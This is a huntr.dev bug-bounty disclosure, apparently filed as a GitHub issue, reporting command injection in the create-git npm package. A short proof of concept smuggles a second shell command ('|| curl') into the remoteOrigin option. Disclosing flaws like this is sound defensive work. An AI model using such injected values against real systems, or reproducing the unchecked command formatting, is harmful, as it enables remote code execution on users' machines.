This issue has been generated on-behalf of Mik317 (https://huntr.dev/app/users/Mik317)

Vulnerability Description

The issue arises because some user supplied inputs are formatted inside commands executed lately without any check. Issue arises on this line: https://github.com/wesleytodd/create-git/blob/master/index.js#L85

POC

// poc.js
const createGit = require('create-git')
 
createGit({
    ignoreExisting: true,
    initialCommitMessage: 'test',
    remoteOrigin: 'http://evil.com || curl "http://localhost/RCE"',
    ignoreTemplates: ['Node.gitignore']
  })

Impact

RCE via insecure command formatting on create-git

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

We will submit a pull request directly to your repository with the fix as soon as possible. Want to learn more? Go to https://github.com/418sec/huntr 📚

Automatically generated by @huntr-helper...

Good feature for this right?